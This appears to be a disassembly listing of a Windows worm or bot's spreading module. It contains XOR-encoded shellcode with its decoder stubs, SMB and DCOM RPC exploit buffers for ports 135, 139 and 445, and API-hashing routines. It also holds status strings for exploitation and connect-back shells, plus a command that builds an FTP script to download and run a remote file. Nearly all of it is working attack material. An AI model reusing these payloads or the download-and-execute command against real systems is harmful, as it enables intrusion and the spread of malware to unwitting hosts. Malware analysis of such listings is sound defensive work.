dd 1BDh, 40D59Dh, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 4
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D59Dh, 0
dd 2 dup(1), 0
aVncs db 'vncs',0
align 4
dd 54480000h, 562D5054h, 434Eh, 5 dup(0)
dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445 db 'lsass_445',0
aLsass_445_0 db 'lsass_445',0
dd 5 dup(0)
dd 1BDh, 40E830h, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aAsn445_0 db 'asn445',0
align 4
db 2 dup(0)
byte_4319DA db 1 ; DATA XREF: sub_401ACD:loc_403789r
; sub_401ACD+1CC6o
aDcom135_0 db 'dcom135',0
align 4
dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_431A06
; =============== S U B R O U T I N E =======================================
sub_4319F6 proc near ; CODE XREF: sub_4319F6:loc_431A06p
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_4319FE: ; CODE XREF: sub_4319F6+Cj
xor byte ptr [edx+ecx], 99h
loop loc_4319FE
jmp short loc_431A0B
; ---------------------------------------------------------------------------
loc_431A06: ; CODE XREF: .packed:004319F4j
call sub_4319F6
loc_431A0B: ; CODE XREF: sub_4319F6+Ej
jo short near ptr dword_431994+12h
cwde
cdq
cdq
retn
sub_4319F6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
align 4
dword_431B88 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B90E+46o
unk_431B94 db 2Dh ; - ; DATA XREF: sub_40B90E+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
unk_431BB4 db 2Dh ; - ; DATA XREF: sub_40B9DD+38o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_431BFC db 2Dh ; - ; DATA XREF: sub_40BA49+22o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 4
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA9E+7Fo
dword_431C38 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C48 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40BA9E+14o
dd 7473694Ch, 3Ah
unk_431C64 db 2Dh ; - ; DATA XREF: sub_40BB65+172o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_431C98 db 2Dh ; - ; DATA XREF: sub_40BB65+80o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 4
unk_431CC8 db 2Dh ; - ; DATA XREF: sub_40BD1A+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 4
unk_431CE8 db 2Dh ; - ; DATA XREF: sub_40BD1A+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_431D04 db 2Dh ; - ; DATA XREF: sub_40BD91+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_30 db ' Failed to start server, error: <%d>.',0
align 4
unk_431D38 db 2Dh ; - ; DATA XREF: sub_40BD91+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_31 db '- Failed to start server, error: <%d>.',0
unk_431D70 db 2Dh ; - ; DATA XREF: sub_40BD91+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 10h
unk_431DA0 db 2Dh ; - ; DATA XREF: sub_40BD91+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_32 db 'Failed to start server, error: <%d>.',0
align 4
unk_431DD4 db 2Dh ; - ; DATA XREF: sub_40BD91+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 4
unk_431E08 db 2Dh ; - ; DATA XREF: sub_40BD91+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 4
unk_431E3C db 2Dh ; - ; DATA XREF: sub_40C3E8+EEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_431E64 db 2Dh ; - ; DATA XREF: sub_40C3E8+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431E9C db 2Dh ; - ; DATA XREF: sub_40C600+1CEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_431EDC db 2Dh ; - ; DATA XREF: sub_40C600+173o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_431F14 db 2Dh ; - ; DATA XREF: sub_40C600+103o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F48 db 2Dh ; - ; DATA XREF: sub_40C600+87o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
unk_431F7C db 2Dh ; - ; DATA XREF: sub_40C85F+92o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0
align 4
unk_431FA4 db 2Dh ; - ; DATA XREF: sub_40C92C+41o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
unk_431FCC db 2Dh ; - ; DATA XREF: sub_40CA1D+D1o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 4
unk_431FF8 db 2Dh ; - ; DATA XREF: sub_40CA1D+41o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CD9E+B2o
align 10h
dword_432030 dd 10FF8h, 0 ; DATA XREF: sub_40CD9E+6Ao
dword_432038 dd 10FF8h ; DATA XREF: sub_40CD9E+79o
dword_43203C dd 7FFDF020h, 0 ; DATA XREF: sub_40CD9E+162o
dword_432044 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1C8+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4320CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1C8+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_4320FC dd 0 ; DATA XREF: sub_40D1C8+44o
dd 800000D4h, 0
unk_432108 db 81h ; ; DATA XREF: sub_40D2A2+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_432154 db 41h ; DATA XREF: sub_40D340+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
; =============== S U B R O U T I N E =======================================
sub_432198 proc near ; DATA XREF: .packed:0040D61Fo
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_432294
push dword ptr [esi]
push 63D61209h
call sub_4322AA
mov [esi+8], eax
call sub_43225D
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_4322AA
mov [esi+0Ch], eax
call sub_43220F
push dword ptr [esi+4]
push 4C0297FAh
call sub_4322AA
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_432198 endp
; =============== S U B R O U T I N E =======================================
sub_43220F proc near ; CODE XREF: sub_432198+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_432238
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_43220F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_432238 proc near ; CODE XREF: sub_43220F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_432247: ; CODE XREF: sub_432238+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_432254
inc ebx
jmp short loc_432247
; ---------------------------------------------------------------------------
loc_432254: ; CODE XREF: sub_432238+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_432238 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43225D proc near ; CODE XREF: sub_432198+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_432275: ; CODE XREF: sub_43225D+1Ej
cmp [ecx], ebx
jz short loc_43227D
mov ecx, [ecx]
jmp short loc_432275
; ---------------------------------------------------------------------------
loc_43227D: ; CODE XREF: sub_43225D+1Aj
mov edx, edi
loc_43227F: ; CODE XREF: sub_43225D+2Aj
cmp [edx+4], ebx
jz short loc_432289
mov edx, [edx+4]
jmp short loc_43227F
; ---------------------------------------------------------------------------
loc_432289: ; CODE XREF: sub_43225D+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_43225D endp
; =============== S U B R O U T I N E =======================================
sub_432294 proc near ; CODE XREF: sub_432198+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_432294 endp
; =============== S U B R O U T I N E =======================================
sub_4322AA proc near ; CODE XREF: sub_432198+16p
; sub_432198+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_4322C0: ; CODE XREF: sub_4322AA+33j
jecxz short loc_4322FA
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_4322CD: ; CODE XREF: sub_4322AA+2Dj
lodsb
cmp al, ah
jz short loc_4322D9
ror edi, 0Dh
add edi, eax
jmp short loc_4322CD
; ---------------------------------------------------------------------------
loc_4322D9: ; CODE XREF: sub_4322AA+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_4322C0
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_4322FA: ; CODE XREF: sub_4322AA:loc_4322C0j
; sub_4322AA:loc_4322FAj
jmp short loc_4322FA
sub_4322AA endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_432300 proc near ; DATA XREF: .packed:0040D5CDo
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_432352
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_43231D: ; CODE XREF: sub_432300+38j
jecxz short loc_43234D
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_432328: ; CODE XREF: sub_432300+32j
lodsb
test al, al
jz short loc_432334
ror edx, 0Dh
add edx, eax
jmp short loc_432328
; ---------------------------------------------------------------------------
loc_432334: ; CODE XREF: sub_432300+2Bj
cmp edx, [esp+arg_0]
jnz short loc_43231D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_43234D: ; CODE XREF: sub_432300:loc_43231Dj
mov [esp+arg_0], ebx
retn
sub_432300 endp
; =============== S U B R O U T I N E =======================================
sub_432352 proc near ; CODE XREF: sub_432300+7p
; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_43236B
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_432376
; ---------------------------------------------------------------------------
loc_43236B: ; CODE XREF: sub_432352+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_432376: ; CODE XREF: sub_432352+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_43238A
sub_432352 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43237D proc near ; CODE XREF: sub_432352:loc_43238Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_43237D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_432352
loc_43238A: ; CODE XREF: sub_432352+29j
call sub_43237D
loc_43238F: ; DATA XREF: sub_40CD9E+320o
add [eax+0], ah
; END OF FUNCTION CHUNK FOR sub_432352
; ---------------------------------------------------------------------------
dw 0
dword_432394 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323A0 dd 30h ; DATA XREF: sub_40CD9E+2CAo
dword_4323A4 dd 0A1h ; DATA XREF: sub_40CD9E+29Fo
dword_4323A8 dd 3 ; DATA XREF: sub_40CD9E+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_40CD9E+153o
align 4
loc_4323B4: ; DATA XREF: sub_40CD9E+E8o
jmp short near ptr dword_4323BC
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_4323BC dd 0 ; CODE XREF: .packed:loc_4323B4j
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: .packed:0040D5F4o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 4
dword_432424 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: .packed:0040E02Do
; .packed:0040E167o
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432470 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_40DCF9+123o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_4327D4 dd 20h, 0 ; DATA XREF: sub_40DCF9+136o
dd 20h, 5C005Ch, 0
off_4327E8 dd offset aLafler ; DATA XREF: sub_40DCF9+15Do
; "Lafler"
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
align 8
dword_432828 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_40DCF9+45o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_432938 dd 10016C6h ; DATA XREF: sub_40DCF9+104o
dword_43293C dd 100139Dh ; DATA XREF: sub_40DCF9+FBo
asc_432940: ; DATA XREF: sub_40DB5E+1Co
; sub_40DC41+16o
unicode 0, <\\>,0
align 4
off_432948 dd offset dword_49005C ; DATA XREF: sub_40DB5E+Co
; sub_40DC41+Bo
dd offset aLallemant+8
dd 24h
aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: .packed:0040E235o
; .packed:0040E99Eo ...
align 10h
aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0
; DATA XREF: .packed:0040E1E8o
align 4
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: .packed:0040DF8Do
align 10h
jmp short loc_4329C2
; =============== S U B R O U T I N E =======================================
sub_4329B2 proc far ; CODE XREF: sub_4329B2:loc_4329C2p
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_4329BA: ; CODE XREF: sub_4329B2+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_4329BA
jmp short loc_4329C7
; ---------------------------------------------------------------------------
loc_4329C2: ; CODE XREF: .packed:004329B0j
call near ptr sub_4329B2
loc_4329C7: ; CODE XREF: sub_4329B2+Ej
jo short loc_432A2B
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_432A49
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_432A2B: ; CODE XREF: sub_4329B2:loc_4329C7j
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_432A49: ; CODE XREF: sub_4329B2+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_4329B2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_432AF0: ; DATA XREF: sub_40E3F1+156o
; sub_40E3F1+212o
jmp short loc_432B02
; =============== S U B R O U T I N E =======================================
sub_432AF2 proc near ; CODE XREF: sub_432AF2:loc_432B02p
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_432AFA: ; CODE XREF: sub_432AF2+Cj
xor byte ptr [edx+ecx], 99h
loop loc_432AFA
jmp short loc_432B07
; ---------------------------------------------------------------------------
loc_432B02: ; CODE XREF: .packed:loc_432AF0j
call sub_432AF2
loc_432B07: ; CODE XREF: sub_432AF2+Ej
jo short near ptr dword_432A80+1Eh
cwde
cdq
cdq
retn
sub_432AF2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_432BA0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_40E3F1+105o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C88 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: .packed:0040E8A6o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432D14 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .packed:0040E8D2o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_432DC0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .packed:0040E8F9o
